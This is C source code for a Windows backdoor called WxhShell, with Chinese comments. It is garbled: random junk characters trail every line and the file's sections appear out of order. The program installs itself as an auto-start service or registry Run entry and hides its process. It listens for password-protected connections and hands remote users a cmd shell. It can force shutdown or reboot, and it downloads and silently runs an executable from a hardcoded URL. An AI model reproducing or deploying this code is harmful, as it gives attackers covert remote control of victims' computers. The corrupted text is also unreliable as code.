  case 'd': { Jh[0xb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '<Z[e`/  
    if(Boot(SHUTDOWN)) |WS)KR !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q76POytV|  
    else { 0=d2_YzSf  
    closesocket(wsh);  ;C]Ufk  
    ExitThread(0); h}b:-a  
    } en<mm#Ab  
    break; Lu.zc='\  
    } t=_^$M,yr  
  // 获取shell lQA5HzC\  
  case 's': { 50UdY9E_v}  
    CmdShell(wsh); #6sz@XfV  
    closesocket(wsh); }xZi Ct  
    ExitThread(0); &&ioGy}1  
    break; %p Wn9  
  } .nV2 n@SR  
  // 退出 HL)!p8UHJ  
  case 'x': { J3 $>~?^1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f^c+M~\JKj  
    CloseIt(wsh); qsj{0Go  
    break; p [O6  
    } !iXRt")  
  // 离开 \1EuHQ?  
  case 'q': { b*|~F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ts iJK  
    closesocket(wsh); ez4!5&TzRm  
    WSACleanup(); L"_X W no  
    exit(1); gGqrFh\  
    break; p|UL<M9{a]  
        } jnH\}IB  
  } XxqGsGx4  
  } <}a?<):S  
m 0HK1'  
  // 提示信息 .hTqZvDa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6W1GvM\e  
} lH-VqkR\  
  } `y8pwWo-o  
Z~'t'.=z  
  return;  56.!L  
} |OQ]F  
\Lx=iKs<  
// shell模块句柄 fv+]iK<{  
int CmdShell(SOCKET sock) n. %QWhUB  
{ vEv kC  
STARTUPINFO si; 7vRtTP  
ZeroMemory(&si,sizeof(si)); "~KDm(D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; blc?[ [,!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]4:QqdV  
PROCESS_INFORMATION ProcessInfo; uU  d"l,V  
char cmdline[]="cmd"; rYUIFPN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :;?$5h*|`  
  return 0; +NlnK6T/  
} ["Zvwes#7  
-FeXG#{)  
// 自身启动模式 r" H::A  
int StartFromService(void) \aSP7DzqQ  
{ CS^6$VL7e  
typedef struct -jH|L{Iyq}  
{ oEIpv;:_  
  DWORD ExitStatus; 1NYR8W]2  
  DWORD PebBaseAddress; mV0,T*}e  
  DWORD AffinityMask; InPE_  
  DWORD BasePriority; !Tzo &G  
  ULONG UniqueProcessId; 1U\ap{z@  
  ULONG InheritedFromUniqueProcessId; ?m7:@GOE1  
}   PROCESS_BASIC_INFORMATION; I~,.@{4  
!'f7;%7s  
PROCNTQSIP NtQueryInformationProcess; Pnytox  
+C~h(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9a`Lr B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G e;67  
}'[>~&/"  
  HANDLE             hProcess; 7QO/; zL  
  PROCESS_BASIC_INFORMATION pbi; _p$/.~Xo9  
\ o<ucp\J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3,PR6a,b'  
  if(NULL == hInst ) return 0; +n^M+ea;  
JCWTB`EB>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Iw{fj|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 96WzgHPWo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :EX>Y<`]  
17hoX4T  
  if (!NtQueryInformationProcess) return 0; _i_='dsyW/  
v h,(]t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C% -Tw]T$_  
  if(!hProcess) return 0; *)m:u:   
5c- P lm%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XkI'm\W  
Q)75?mn  
  CloseHandle(hProcess); yan^\)HZ  
\Qml~?$@lH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tYA@J["^  
if(hProcess==NULL) return 0; 0E.N3iU  
H cmW  
HMODULE hMod; 1>(EvY}Y\  
char procName[255]; R"ON5,E  
unsigned long cbNeeded; G,C`+1$*  
5|*{~O|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); % /:1eE`!S  
-K|1w'E  
  CloseHandle(hProcess); ly[yn{  
r]9-~1T  
if(strstr(procName,"services")) return 1; // 以服务启动 }M4dze  
s|C[{n<_  
  return 0; // 注册表启动 s8-RXEPb  
} M0 z%<_<}  
p)biOG  
// 主模块 {-A|f  
int StartWxhshell(LPSTR lpCmdLine) $dM_uSt  
{ i{$-[*WHiV  
  SOCKET wsl; Vh-8pF t  
BOOL val=TRUE; HT<p=o'$Z  
  int port=0; ?Q:SVxzUd  
  struct sockaddr_in door; w=KfkdAJ*/  
sx?IIFF  
  if(wscfg.ws_autoins) Install(); - 2)k!5X=  
pRQ7rT',v  
port=atoi(lpCmdLine); i(~DhXz*T  
yD"]:ts3  
if(port<=0) port=wscfg.ws_port; ^4=#, K  
rK gl:s j+  
  WSADATA data; [O3:?BNY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ni;)6,i  
i1evB9FZ1z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $J1`.Q>)4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bPVk5G*ruP  
  door.sin_family = AF_INET; 461g7R%r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 063LWV  
  door.sin_port = htons(port); SkuR~!  
b<FE   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (xgw';g  
closesocket(wsl); ?]><#[?'L  
return 1; ]>M\|,wh  
} E &9<JS  
nDn J}`k  
  if(listen(wsl,2) == INVALID_SOCKET) { )N 3^r>(e<  
closesocket(wsl); TcZ.5Oe6h#  
return 1; >pu4G+M  
} /3s&??{tv  
  Wxhshell(wsl); T0 K!Msz  
  WSACleanup(); vW?\bH7}I  
L:HvrB~  
return 0; W&5/1``u\  
_X#Rv2a  
} L[<#>/NPy  
;6/WjUDw<|  
// 以NT服务方式启动 m>=DJ{KQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SKC;@?  
{ oC`F1!SfOO  
DWORD   status = 0; :M(uP e=D  
  DWORD   specificError = 0xfffffff; Sp>g77@  
A8f.h5~9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [9 MH"\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <vcU5 .K.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FKO2UY#&7  
  serviceStatus.dwWin32ExitCode     = 0; `D;*.zrA  
  serviceStatus.dwServiceSpecificExitCode = 0; oU|G74e6  
  serviceStatus.dwCheckPoint       = 0; G*IP?c>=  
  serviceStatus.dwWaitHint       = 0; "$(+M t^  
L-+g`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6R45+<.  
  if (hServiceStatusHandle==0) return; }AS?q?4?  
{+9RJmZg  
status = GetLastError(); ?^voA.Bv<  
  if (status!=NO_ERROR) u1meys a{0  
{ y#'hOSR2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )$]lf }  
    serviceStatus.dwCheckPoint       = 0; y,5qY}P+  
    serviceStatus.dwWaitHint       = 0; `,]Bs*~  
    serviceStatus.dwWin32ExitCode     = status; @1CXc"IgA  
    serviceStatus.dwServiceSpecificExitCode = specificError; C*mVM!D);!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *}\M!u{J  
    return; u"h/ERCa  
  } }JFTe g  
`XxnQng  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &_L%wV|[  
  serviceStatus.dwCheckPoint       = 0; l~E~!MR  
  serviceStatus.dwWaitHint       = 0; Ef]Hpjvp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3en 9TB  
} m(8Tup|  
<>6j>w_|  
// 处理NT服务事件,比如:启动、停止 u1/ >)_U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b,Wm]N  
{ =zFROB\  
switch(fdwControl) AJ7w_'u=@  
{ %)j&/QdzF&  
case SERVICE_CONTROL_STOP: FJeh=\  
  serviceStatus.dwWin32ExitCode = 0; @jn&Wf?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nL 5tHz:e  
  serviceStatus.dwCheckPoint   = 0; BAQ-1kSz  
  serviceStatus.dwWaitHint     = 0; D [+LU(  
  { hC2Fup1@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `n$Ak5f  
  } Z1 Nep !  
  return; u ON(LavB  
case SERVICE_CONTROL_PAUSE: s70Z&3A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wsmgkg  
  break; HAn{^8"@  
case SERVICE_CONTROL_CONTINUE: -+"#G?g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B[Lm}B[  
  break; .?{no}u.  
case SERVICE_CONTROL_INTERROGATE: f30J8n"k  
  break; ~A>fB2.pM  
}; yz68g?"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4IVIj@$ `  
} =e6p v#  
-$8ew+  
// 标准应用程序主函数 vh\i ^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ic(qA{SM  
{ `O6#-<>  
F;Q,cg M  
// 获取操作系统版本 R&|.Lvmc/  
OsIsNt=GetOsVer(); MtJ-pa~n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :{a< ~n`  
pyhXET '  
  // 从命令行安装 |mt W)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZxvH1qx8  
es7;eH*O9  
  // 下载执行文件 ZN8j})lE  
if(wscfg.ws_downexe) { # `=Zc7gf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `4*I1WZW  
  WinExec(wscfg.ws_filenam,SW_HIDE); :UdW4N-  
} _=$~l^Y[  
,1ev2T  
if(!OsIsNt) { .RpJZ[E  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xmr}$<<=  
HideProc(); MT/jpx  
StartWxhshell(lpCmdLine); :^y!z1\2(7  
} lgews"  
else WX4sTxJK  
  if(StartFromService()) ^ 9+ Qxv  
  // 以服务方式启动 v*.R<- X:  
  StartServiceCtrlDispatcher(DispatchTable); )=f}vHg$  
else O?OAXPK2  
  // 普通方式启动 ExG(*[l  
  StartWxhshell(lpCmdLine); |:S6Gp[\O  
2}&ERW  
return 0; 6La[( )  
} QVjHGY*R  
d7^ `  
v_zt$bf{Y  
q=3>ij {v  
=========================================== D=ej%]@iw  
Mqr]e#"o  
F?6kkLS/  
EA~xxKq  
d[t0K]  
_s;y0$O  
" Q# hRnM  
o"JH B  
#include <stdio.h> e=9/3?El  
#include <string.h> Ke4oLF2  
#include <windows.h> oB 1Qw'J w  
#include <winsock2.h> w>2lG3H<  
#include <winsvc.h> ]y {tMC  
#include <urlmon.h> :la i0> D  
2E40&  
#pragma comment (lib, "Ws2_32.lib") p8,=K<  
#pragma comment (lib, "urlmon.lib") k1,k 9BK  
Ubu&$4a  
#define MAX_USER   100 // 最大客户端连接数 })O S2F  
#define BUF_SOCK   200 // sock buffer ]\yB,  
#define KEY_BUFF   255 // 输入 buffer THwM',6  
CzV;{[?~;  
#define REBOOT     0   // 重启 z#+WK| a  
#define SHUTDOWN   1   // 关机 \hX,z =  
7 (2}Vs!5  
#define DEF_PORT   5000 // 监听端口 Tu(:?  
z<eu=OD4t  
#define REG_LEN     16   // 注册表键长度 K#A&  
#define SVC_LEN     80   // NT服务名长度 <4TI;yy6?  
QjLU@?&  
// 从dll定义API Z0&^(Fb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJ84 'T\~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bbjba36RO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JM;bNW8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eP~3m  
}4>u_)nt  
// wxhshell配置信息 ^x&x|ckR!  
struct WSCFG { 4PVg?  
  int ws_port;         // 监听端口 21OfTV-+3  
  char ws_passstr[REG_LEN]; // 口令 /K!)}f( 6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3@=<4$  
  char ws_regname[REG_LEN]; // 注册表键名 }!^h2)'7  
  char ws_svcname[REG_LEN]; // 服务名 W $D 34(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +(Y\w^@%H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \y7?w*K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \!-]$&,j4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !po,Z&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mh`^-*c?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  *wJ$U  
(~G*' /)  
}; @zS/J,:v}  
W\[E  
// default Wxhshell configuration P{dR pH|  
struct WSCFG wscfg={DEF_PORT, &3/`cl[+  
    "xuhuanlingzhe", Sp[9vlo8  
    1, $MasYi  
    "Wxhshell", ~"S5KroN  
    "Wxhshell", m LajiZ Bf  
            "WxhShell Service", o2(w  
    "Wrsky Windows CmdShell Service", |6NvByc,  
    "Please Input Your Password: ", :vi %7  
  1, ]/ !*^;cY(  
  "http://www.wrsky.com/wxhshell.exe", Q+f |.0r  
  "Wxhshell.exe" !}c D e12  
    }; @16y%]Q-E#  
IRM jL.q  
// 消息定义模块 %enJ[a%Qg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 26~rEOgJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;s3@(OnjZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rb<| <D+  
char *msg_ws_ext="\n\rExit."; qF3S\ C  
char *msg_ws_end="\n\rQuit."; gS(JgN  
char *msg_ws_boot="\n\rReboot..."; _$*-?*V&  
char *msg_ws_poff="\n\rShutdown..."; 'tTlBf7#  
char *msg_ws_down="\n\rSave to "; Db2#QQ  
?Ho$fGz  
char *msg_ws_err="\n\rErr!"; fXevr `  
char *msg_ws_ok="\n\rOK!"; h`fZ 8|yw  
"Io-%S u+  
char ExeFile[MAX_PATH]; NTJ,U2  
int nUser = 0; S ?t `/"O  
HANDLE handles[MAX_USER]; vasw@Uto)  
int OsIsNt; _`Kh8G {e  
~b8.]Z^  
SERVICE_STATUS       serviceStatus; bY`Chb.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |\B\IPs{%'  
L\Oxyi<{  
// 函数声明 akw:3+`  
int Install(void); \yymp70w  
int Uninstall(void); %|@?)[;  
int DownloadFile(char *sURL, SOCKET wsh); R(Vd[EGY  
int Boot(int flag); _6FDuCVD-  
void HideProc(void); *RkvM?o@jC  
int GetOsVer(void); Bptt"  
int Wxhshell(SOCKET wsl); Yp m*or  
void TalkWithClient(void *cs); b<fN,U< k  
int CmdShell(SOCKET sock); .f!'> _  
int StartFromService(void); 21$^k5  
int StartWxhshell(LPSTR lpCmdLine); <\:*cET3  
ve#[LBOC8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dd=5`Bo9Yh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;F_&h#D]3  
?{Xp'D\z  
// 数据结构和表定义 s5 Fn("h]n  
SERVICE_TABLE_ENTRY DispatchTable[] = yPbOiA*lHz  
{ Rpcnpo  
{wscfg.ws_svcname, NTServiceMain}, KJ?/]oLr0  
{NULL, NULL} TuMZHB7h;  
}; 7.5\LTM>9e  
17Q* <iCs  
// 自我安装 j@Us7Q)A(  
int Install(void) nkkGJV!  
{ suj}A  
  char svExeFile[MAX_PATH]; jaThS!>v  
  HKEY key; t[%=[pJHW  
  strcpy(svExeFile,ExeFile); !x:w2  
RAyR&p  
// 如果是win9x系统,修改注册表设为自启动 Y!E| X 3  
if(!OsIsNt) { lSId<v?C>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z?",+|4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); If9!S} wa  
  RegCloseKey(key); B7ys`eiB5C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '\m\$ {  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `.6Jgfu  
  RegCloseKey(key); ,/L_9wV-\  
  return 0; 1_W5@)  
    } Qe/=(P<  
  } Hi{!<e2  
} hG'2(Y!  
else { I^ A01\p  
;rta#pRn  
// 如果是NT以上系统,安装为系统服务 FHH2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QQjMC'  
if (schSCManager!=0) 6 ud<B  
{ EVmE{XlD;  
  SC_HANDLE schService = CreateService `V ++})5v  
  ( q14A 'XW  
  schSCManager, UE\@7  
  wscfg.ws_svcname, ]*;+ U6/?  
  wscfg.ws_svcdisp, "=!QSb  
  SERVICE_ALL_ACCESS, 4sK|l|W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NU/~E"^I.  
  SERVICE_AUTO_START, 1[`l`Truz  
  SERVICE_ERROR_NORMAL, nBiA=+'v  
  svExeFile, s.dn~|a  
  NULL, d0Kg,HB  
  NULL, a( {`<F  
  NULL, !"J*  
  NULL, tbv6-) Hs  
  NULL /C8(cVNZ  
  ); W%Zyt:H`  
  if (schService!=0) Zk;;~ESOU  
  { kk5i{.?[  
  CloseServiceHandle(schService); XKU=VOY  
  CloseServiceHandle(schSCManager); lR^dT4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z8"=W,2  
  strcat(svExeFile,wscfg.ws_svcname); |V~P6o(/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <u($!ATb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9'8oOBqm3%  
  RegCloseKey(key); f&cG;Y  
  return 0; LveqG   
    } 7iJk0L$]x  
  } .r*b+rc;]  
  CloseServiceHandle(schSCManager); U ._1'pW  
} =yNHJHRA#  
} #XY]@V\  
cwC, VYVl  
return 1; J2[QHr&tn  
} qP<,"9!I  
\M532_w  
// 自我卸载 ^9b `;}).  
int Uninstall(void) L,4 ^Of  
{ R +JI ?/H  
  HKEY key; x?<5=,  
u#UeJu O  
if(!OsIsNt) { et ~gO!1:*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ta6 WZu  
  RegDeleteValue(key,wscfg.ws_regname); ;qk~>  
  RegCloseKey(key); FW.dHvNX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q#r 0DWo\  
  RegDeleteValue(key,wscfg.ws_regname); /eMZTh*1P  
  RegCloseKey(key); K+$c,1wb  
  return 0; ?RzT0HRd  
  } x)yf!Dv5$  
} dO//  
} 7ER 2 h*  
else { J+|ohA  
I~qiF%?d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *nW9)T  
if (schSCManager!=0) /[IQ:':^  
{ S'JeA>L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B:r-')!0$#  
  if (schService!=0) 1=a}{)0h  
  { *(MvNN*  
  if(DeleteService(schService)!=0) { jr l6):x  
  CloseServiceHandle(schService); |O9=C`G_  
  CloseServiceHandle(schSCManager); udZ: OU<  
  return 0; 1;gSf.naG  
  } B;~agr  
  CloseServiceHandle(schService); EDQJ>c  
  } @Kr)$F  
  CloseServiceHandle(schSCManager); _dBU6U:V  
} #lshN,CPm  
} =l2Dm  
ViwpyC'v  
return 1; ^h6$> n5  
}  Vm;Q w  
6$fnQcpJ  
// 从指定url下载文件 + i@yZfT  
int DownloadFile(char *sURL, SOCKET wsh) WCmNibj  
{ 1m<?Q&|m$  
  HRESULT hr; koEX4q  
char seps[]= "/"; AOlt,MNpQ  
char *token; ca/o#9:N`:  
char *file; ^Z>B/aJq  
char myURL[MAX_PATH]; cP@F #!2  
char myFILE[MAX_PATH]; ezr\T  
yOUX E>-  
strcpy(myURL,sURL); ]a6O(]  
  token=strtok(myURL,seps); P A6KX5  
  while(token!=NULL) Go\} A:|s  
  { grCO-S|j^  
    file=token; |v$%V#Bo  
  token=strtok(NULL,seps); RHx+HBZ  
  } J(EaE2  
wHOlj)CZ  
GetCurrentDirectory(MAX_PATH,myFILE); Le` /  
strcat(myFILE, "\\"); :Dk@?o@2;C  
strcat(myFILE, file); <cDKGd  
  send(wsh,myFILE,strlen(myFILE),0); O[(?.9  
send(wsh,"...",3,0); _[TH@fO6:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jKj=#O  
  if(hr==S_OK) ^5;vx  
return 0; L`jB)wF /J  
else 9'n))%CZ.  
return 1; r}oURy,5  
"B9[cDM&  
} 1c)\  
Ns.3s7&  
// 系统电源模块 vQK n=  
int Boot(int flag) -7I1Lh#M  
{ 'T)Or,d  
  HANDLE hToken; JFG",09]  
  TOKEN_PRIVILEGES tkp; \6SMn6a4  
6wb^*dD92  
  if(OsIsNt) { 1m>^{u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ig1lol:;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w.J%qWJq  
    tkp.PrivilegeCount = 1; |;A9A's  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mW~i c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v)@,:u)  
if(flag==REBOOT) { L289'Gzg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~LawF_]6  
  return 0; I!fB1aq-  
} p-5P as  
else { ~@T+mHny  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5-8]N>/b!  
  return 0; ^oQekga\l  
} Dq/3E-y5  
  } 8W~lU~-  
  else { O9t=lrYV!  
if(flag==REBOOT) { N@Xg5huO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F2IC$:e M  
  return 0; 8yE!7$Mj  
} l60ikc4$I  
else { g!1I21M1~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \f(Y:}9  
  return 0; r0F_;  
} RVc)") hQj  
}  9t{|_G  
}FPM-M3y  
return 1; {UB%(E[Mr  
} HUj+-  
[O^}rUqq  
// win9x进程隐藏模块 0TTIaa$  
void HideProc(void) DpA\r_D  
{ "_ LkZBW.  
7{n\y l?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f;.SSiT  
  if ( hKernel != NULL ) zzX<?6MS  
  { MWBXs7 5I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W`#gpi)7N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xME(B@j  
    FreeLibrary(hKernel); mR"uhm}q  
  } {bN Y  
6 -]>]Hr-  
return; za,6 du6  
} fC_zX}3  
x.I][(}  
// 获取操作系统版本 kr^0% A  
int GetOsVer(void) G9\EZ\x!  
{ '.pgXsC:=?  
  OSVERSIONINFO winfo; D899gGe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 43KaL(  
  GetVersionEx(&winfo); +Dv7:x7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8{oZi]ob  
  return 1; F4Rr26M  
  else );=Q] >  
  return 0; Q}=fVY  
} s4 (Wp3>3i  
$h,d? .u6w  
// 客户端句柄模块 ZQ|5W6c  
int Wxhshell(SOCKET wsl) <BSSa`N`  
{ ]de\i=?|  
  SOCKET wsh; Ujf,6=M  
  struct sockaddr_in client; /K f L+"^|  
  DWORD myID; iBucT"d]  
5i6VZv  
  while(nUser<MAX_USER) (I[s3EnhS  
{ > 84e`aGE  
  int nSize=sizeof(client); 4 bn t=5]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *t^eNUA  
  if(wsh==INVALID_SOCKET) return 1; ThtMRB)9  
4iwf\#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v{r1E]rY  
if(handles[nUser]==0) iecWa:('  
  closesocket(wsh); )`^ /(YG  
else byafb+x  
  nUser++; kL|\wci  
  } rR\;G2p)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hj2<ZL  
[O\9 9>  
  return 0; "9w}dQ  
} &I%IaNco  
avg4K*vv  
// 关闭 socket ^;+[8:Kb  
void CloseIt(SOCKET wsh) K!p,x;YX  
{ \6{LR&  
closesocket(wsh); +s ULo  
nUser--; #G[t X6gU  
ExitThread(0); ^+wk  
} 40u7fojg2  
ZNi +Aw$u  
// 客户端请求句柄 iA9 E^  
void TalkWithClient(void *cs) RpYcD  
{ m^Glc?g<  
s"WBw'_<<  
  SOCKET wsh=(SOCKET)cs; TKo<~?  
  char pwd[SVC_LEN]; `kFiH*5%z  
  char cmd[KEY_BUFF]; "Kq>#I'%W  
char chr[1]; w//omF'`  
int i,j; ytiyF2Kp  
W!91tzs:  
  while (nUser < MAX_USER) { \%TyrY+`K  
wN(&5rfS  
if(wscfg.ws_passstr) { FIS "Z(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LL.x11 o3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &))\2pl  
  //ZeroMemory(pwd,KEY_BUFF); ?`H[u7*%  
      i=0; q(Hip<6p  
  while(i<SVC_LEN) { aBxiK[[`  
]ENK8bW  
  // 设置超时 s7l23*Czl  
  fd_set FdRead; x#r<,uNn,  
  struct timeval TimeOut; nR[^|CAR  
  FD_ZERO(&FdRead); rEM#D]k  
  FD_SET(wsh,&FdRead); [pL*@9Sa&  
  TimeOut.tv_sec=8; O%&cE*eX  
  TimeOut.tv_usec=0; L5f$TLw h;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :RiF3h(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FshC )[w,  
35_)3 R)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s6n`?,vw  
  pwd=chr[0]; APq7 f8t  
  if(chr[0]==0xd || chr[0]==0xa) { E{% SR  
  pwd=0; ,EI:gLH  
  break; #K4*6LI  
  } [Gtb+'8  
  i++; O,'#C\   
    } E7`qmn  
64umul  
  // 如果是非法用户,关闭 socket  q=4Bny0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \k; n20\u  
} m*Cu-6&qd  
o2naVxetE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Skxd<gv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N=~~EtX  
J+ts  
while(1) { TH:W#Ot  
59lj7  
  ZeroMemory(cmd,KEY_BUFF); sJU`u'w  
qybxXK:  
      // 自动支持客户端 telnet标准   ^2C>L}  
  j=0; jn=:G+0  
  while(j<KEY_BUFF) { Ilq=wPD}j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R5(T([w'  
  cmd[j]=chr[0]; o\!qcoE2W  
  if(chr[0]==0xa || chr[0]==0xd) { #]Y*0Wzpfn  
  cmd[j]=0; /pykW_`/-  
  break; y vI<4F  
  } :FHA]oec1  
  j++; Ej"u1F14J  
    } !YE zFU`L  
# yN*',I&  
  // 下载文件 !%[S49s  
  if(strstr(cmd,"http://")) { ].mqxf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qINTCm j  
  if(DownloadFile(cmd,wsh)) izuF !9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /{*$JF  
  else Qihdn66  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VteEDL/w  
  } +}JM&bfK  
  else { ^R~~L  
Q2QY* A  
    switch(cmd[0]) { f~ U.a.Fb  
  +@:L|uFU  
